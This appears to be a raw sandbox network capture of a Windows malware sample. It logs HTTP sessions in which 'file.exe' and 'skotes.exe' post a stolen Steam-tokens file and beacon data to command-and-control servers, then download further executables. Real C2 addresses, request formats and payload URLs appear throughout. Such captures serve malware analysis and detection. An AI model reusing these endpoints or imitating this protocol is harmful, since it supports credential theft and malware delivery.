Nov 26, 2024 22:52:56.758356094 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="file"------BGIDBKKKKKFBGDGDHIDB--
Nov 26, 2024 22:52:57.694175959 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 22:52:57.722187996 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="message"ybncbhylepme------JEGHJKFHJJJKJJJJKEHC--
Nov 26, 2024 22:52:58.247529030 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49913	185.215.113.16	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:52:58.373150110 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 26, 2024 22:52:59.891495943 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:52:59 GMT Content-Type: application/octet-stream Content-Length: 1904128 Last-Modified: Tue, 26 Nov 2024 21:29:17 GMT Connection: keep-alive ETag: "67463dad-1d0e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkD``K`K @.rsrcD@.idata @ *@cyvkeaonp1@yqnrheglpK@.taggant0K"@
Nov 26, 2024 22:52:59.891590118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:52:59.891604900 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:52:59.891788006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:52:59.891809940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: '$?ilQ'M10'uL
Nov 26, 2024 22:52:59.891827106 CET	448	IN	Data Raw: 21 92 5c 1f 69 cf 4b 71 99 ee a7 8c 54 9e 53 c2 b0 7f f0 ac 30 eb e3 66 1f 43 e2 ec 31 52 0b 65 f0 df a7 98 3d 47 8f a3 98 cf 7f cd 83 74 22 bd 9c 41 c0 a8 3f e3 6e 5f 80 d0 f2 87 70 e0 47 45 c4 eb 33 ec 30 e0 6f 51 43 7f 97 f5 52 9b ce 61 9f c3 Data Ascii: !\iKqTS0fC1Re=Gt"A?n_pGE30oQCRal@.$DHDC?R:rr"R%1/LuG0D$^c ([=n$\T_#q?__Qh",%]!k]?!rTYP)
Nov 26, 2024 22:52:59.891839981 CET	1236	IN	Data Raw: e3 19 0a 1d 13 df bb 70 34 ee c0 8c fb d1 52 53 91 5f 24 84 30 73 cc 84 1f 03 50 5f a3 dd e1 cc 21 0b cb 4d ff 21 b1 4c fc e0 12 22 ad 0f 00 5d 31 8e b0 ac 98 12 19 e5 18 b3 e4 6a bf 43 e2 0c 3a f2 3f 21 c5 f1 d0 61 9f c3 bf 6c fd 07 b3 96 71 1f Data Ascii: p4RS_$0sP_!M!L"]1jC:?!alqh~0KN/EWLh4,";L`)[(+IP] RU$]#S2KCHoECp0jn(U:!$P\0Ou+: @PzDX?C-Yro\
Nov 26, 2024 22:52:59.892297029 CET	1236	IN	Data Raw: ca f9 eb 0d 94 87 af 7f 11 c7 05 c6 24 c7 65 81 dd c1 5f 28 29 55 b1 74 e9 3a 1e 23 f9 a0 48 f2 17 ae 5d 5f 35 a2 e3 e8 76 d3 79 43 34 e5 4f 8e 38 e7 b7 16 6b 7f 4f 67 b1 42 1d 01 21 5a 68 fd 96 10 b6 96 91 87 15 15 3c 85 29 39 f1 10 a6 8e 4b 87 Data Ascii: $e_()Ut:#H]_5vyC4O8kOgB!Zh<)9KbH\|'v!,<IW!fAv{Mav%><iR;CPb`` KcpjWgD9FRHXB @gN{_!{Ld@M$sM2LN8@8
Nov 26, 2024 22:52:59.892312050 CET	1236	IN	Data Raw: c4 3c 71 16 36 42 98 b0 1c 17 f6 a5 34 a6 fb 3d 85 9f 88 69 a6 e1 bb 05 4b f7 0d 80 4c 3f 14 8e 3d f2 71 c0 51 f8 d7 07 1b 7a 70 07 d2 60 57 2e fc df 78 0f 35 24 eb bd 13 93 ea 40 38 42 18 d7 0d 48 b2 8f 50 c7 35 c6 19 5d 45 d7 20 63 e3 f4 98 c3 Data Ascii: <q6B4=iKL?=qQzp`W.x5$@8BHP5]E c&!z` \0/`wl9fV2MCY7p0IZTBcDw3}kp <I(a+4^\E>\4VN$JQo>9Rk"qo@
Nov 26, 2024 22:52:59.892540932 CET	1236	IN	Data Raw: 20 06 80 ab 18 4b f9 8d 88 bd 98 8b ea a5 34 f0 7e 8a 99 5c 08 ce 2a 64 c4 9b 9f 8a da 28 1d bc 62 4d 60 8a 78 61 b6 78 a0 6c e2 e4 5c 2b 24 5e ab 13 a4 f1 64 61 a7 24 9c e1 3d e9 34 44 7b 8e 32 33 e8 7f 61 4e a3 a4 db 61 af e6 61 e7 ae c0 3a 82 Data Ascii: K4~\*d(bM`xaxl\+$^da$=4D{23aNaa:K ki6gM.yZNs]C?84P$/z`%[WpMxPbLJX+Z_0)Y4(>S@ILk(!P>C`r{-\d<-=F
Nov 26, 2024 22:53:00.011717081 CET	1236	IN	Data Raw: 55 17 1a a5 30 e3 e1 be f2 0c d2 c1 5f be 5c c2 50 2a e2 c4 3c 04 21 f7 18 aa 17 50 94 ad ac 39 1a b8 a5 36 21 4a 6a f4 ca 69 94 7e 7b 90 de c7 76 4f 7b 7d 19 aa ce 3e 9d 9e 1d 33 7b b3 38 e8 6e de b6 9a b6 2f 64 db 4b 27 4e e6 cc 74 31 46 cc df Data Ascii: U0_\P*<!P96!Jji~{vO{}>3{8n/dK'Nt1FbtEd`.>j^8!wS8[4!DiX<@aOI hg?@G_j\%g~n;Jhh\|8_ZnB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49947	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:53:04.269247055 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAAAAFBKFIECAAKECGCA--
Nov 26, 2024 22:53:06.182847023 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:53:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49977	185.215.113.43	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:53:13.493607998 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 26, 2024 22:53:14.936686993 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:53:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49984	185.215.113.43	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:53:16.595540047 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 26, 2024 22:53:18.127139091 CET	838	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:53:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 38 37 0d 0a 20 3c 63 3e 31 30 30 39 33 38 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 36 39 65 34 34 35 65 66 30 35 36 66 63 34 39 23 31 30 30 39 33 39 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 33 39 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 62 63 32 31 36 31 38 65 36 30 35 62 34 31 39 31 64 30 33 36 31 38 39 38 38 65 35 34 39 39 30 62 37 39 61 35 35 33 36 65 36 23 31 30 30 39 34 30 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 [TRUNCATED] Data Ascii: 287 <c>1009384001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd769e445ef056fc49#1009393001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009399001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2bc21618e605b4191d03618988e54990b79a5536e6#1009400001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009401001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009402001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009403001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49991	31.41.244.11	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:53:18.251266003 CET	53	OUT	GET /files/filer.exe HTTP/1.1 Host: 31.41.244.11
Nov 26, 2024 22:53:19.587749004 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:53:19 GMT Content-Type: application/octet-stream Content-Length: 26987008 Last-Modified: Tue, 26 Nov 2024 19:33:29 GMT Connection: keep-alive ETag: "67462289-19bca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 27 00 7c 94 00 00 c6 9b 01 00 dc 05 00 d0 13 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 10 a2 01 00 04 00 00 14 2e 9c 01 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 50 9f 01 59 02 00 00 00 60 9f 01 68 25 00 00 00 00 00 00 00 00 00 00 00 30 95 01 2c dc 03 00 00 00 00 00 00 00 00 00 00 b0 9f 01 08 5b 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 1b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd.'\|@.` PY`h%0,[@(h.textz\|``.data!y"y@.rdataPln@@.pdata,0@@.xdatahPR@@.bssp.edataYP@@@.idatah%`&D@.CRT`j@.tlsl@.reloc[\n@B
Nov 26, 2024 22:53:19.587850094 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 83 ec 28 48 8b 05 Data Ascii: ff.@H(H1HHHf8MZuHcP<H8PEtfH_tCvvHuH_H8
Nov 26, 2024 22:53:19.587861061 CET	1236	IN	Data Raw: 01 74 50 31 c0 48 83 c4 28 c3 90 b9 01 00 00 00 e8 6e 76 94 00 eb bb 0f 1f 40 00 0f b7 50 18 66 81 fa 0b 01 74 45 66 81 fa 0b 02 75 88 83 b8 84 00 00 00 0e 0f 86 7b ff ff ff 8b 90 f8 00 00 00 31 c9 85 d2 0f 95 c1 e9 69 ff ff ff 0f 1f 80 00 00 00 Data Ascii: tP1H(nv@PftEfu{1iHf1H(Dxt@D1E,fH8HUL^H^H^^HDH^HD$ ]rH8ATUWVSH H1eH%
Nov 26, 2024 22:53:19.588049889 CET	1236	IN	Data Raw: 03 00 0f 1f 44 00 00 e8 7b b5 03 00 48 8b 8c 24 98 00 00 00 48 ff c1 48 8b 84 24 00 01 00 00 48 83 f9 09 7c b7 66 90 e8 fb b4 03 00 e8 36 b7 03 00 e8 51 b5 03 00 e8 ec b4 03 00 48 8d 05 82 3f 24 01 bb 07 00 00 00 e8 5b bd 03 00 e8 36 b5 03 00 48 Data Ascii: D{H$HH$H\|f6QH?$[6H$HFHHD$ HFPH\|$(HHHl$Hl$qHm1>H$HL HL$HD$8H$HH$H\|UFH]$
Nov 26, 2024 22:53:19.588061094 CET	1236	IN	Data Raw: ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 0f b7 48 04 66 85 c9 74 09 8b 50 08 48 01 d0 89 cb c3 31 c0 31 db 48 89 d9 c3 cc cc cc cc cc cc 0f b7 48 06 66 85 c9 74 09 8b 50 08 48 01 d0 89 cb c3 31 c0 31 db 48 89 d9 c3 cc cc cc cc cc Data Ascii: HftPH11HHftPH11HHuH@@1HuH@81HtHHHHw2H?W;$HHH@H8HPHXH
Nov 26, 2024 22:53:19.588073969 CET	672	IN	Data Raw: b7 40 32 25 ff 7f 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 48 89 e5 48 83 ec 10 0f b7 50 32 81 e2 ff 7f 00 00 90 66 85 d2 75 06 31 d2 31 f6 eb 42 0f b6 70 14 40 f6 c6 01 74 07 b9 48 00 00 00 eb 05 b9 38 00 00 Data Ascii: @2%UHHP2fu11Bp@tH8p0H<H9w4H)HHHH?H!HH9sHH]HH`@;bPH08HHEftH11H
Nov 26, 2024 22:53:19.588376045 CET	1236	IN	Data Raw: 41 f6 c0 80 75 c3 49 8d 41 01 48 89 d3 5d c3 e8 ab 6e 03 00 90 cc cc cc cc cc cc cc cc cc cc 55 48 89 e5 48 85 c0 74 06 31 c9 31 d2 eb 0b 31 c0 5d c3 48 8d 48 01 48 89 f0 48 8d 1c 49 48 8d 1c 59 48 89 c6 90 48 8d 3c 08 48 8d 7f 01 48 85 db 7c 3a Data Ascii: AuIAH]nUHHt111]HHHHIHYHH<HH\|:?AHHHH@HH!HAuHu~_1].nI;fUHHt1111]HKHH4IH4qHLM@H\|YEEAHHIH
Nov 26, 2024 22:53:19.588397026 CET	1236	IN	Data Raw: 70 0f 84 e8 00 00 00 48 8b 74 24 58 48 39 f1 0f 82 ee 00 00 00 48 8b 7c 24 78 48 29 f9 48 8d 79 fe 49 89 f8 48 f7 df 48 c1 ff 3f 48 21 fe 48 01 c6 48 8b 7c 24 60 4c 8d 4f 01 4d 39 c1 4d 89 c2 4d 0f 4c c1 48 8d 5c 24 3b 66 90 48 39 f3 75 05 4d 39 Data Ascii: pHt$XH9H\|$xH)HyIHH?H!HH\|$`LOM9MMLH\$;fH9uM9]LL$PH$LT$xH$HLqcHD$PHL$xH9H$H$H\|$`IIH$H$wDH)HHHH?L!HH9HLH$H9tHcH$H
Nov 26, 2024 22:53:19.588409901 CET	1236	IN	Data Raw: 48 8d 3c 78 0f b6 34 32 48 85 ff 7c 2b 41 89 f0 83 e6 7f 49 89 c9 48 89 f9 48 d3 e6 48 83 f9 40 48 19 ff 48 21 fe 4c 01 ce 41 f6 c0 80 75 c3 48 ff c0 48 89 f3 5d 90 c3 e8 da 64 03 00 e8 35 af 00 00 90 4c 8d 6c 24 10 4d 39 2c 24 75 96 49 89 24 24 Data Ascii: H<x42H\|+AIHHH@HH!LAuHH]d5Ll$M9,$uI$$I;fv+UHHMf Mu+HtH;H]HD$1HD$Ll$M9,$uI$$Mf Mu@Ll$M9,$uI$$Mf MuHHE
Nov 26, 2024 22:53:19.588804007 CET	1236	IN	Data Raw: 89 24 24 eb e7 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4d 8b 66 20 4d 85 e4 75 18 0f b6 48 17 83 e1 1f 80 f9 11 75 06 48 8b 48 40 eb 02 31 c9 48 89 c8 c3 4c 8d 6c 24 08 4d 39 2c 24 75 dd 49 89 24 Data Ascii: $$Mf MuHuHH@1HLl$M9,$uI$$Mf MuHHELl$M9,$uI$$I;fvUHHMf MubH]HD$r,HD$Ll$fDM9,$uI$$
Nov 26, 2024 22:53:19.707845926 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4d 8b 66 20 4d 85 e4 75 14 0f b6 48 17 83 e1 1f 80 f9 14 b9 00 00 00 00 48 0f 45 c1 c3 4c 8d 6c 24 08 4d 39 2c 24 75 e1 49 89 24 24 eb db cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4d 8b 66 Data Ascii: Mf MuHHELl$M9,$uI$$Mf MuH Ll$M9,$uI$$Mf Mu@Ll$M9,$uI$$Mf MuHuHH@1HLl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50096	185.215.113.43	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:03.431500912 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 39 33 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1009384001&unit=246122658369
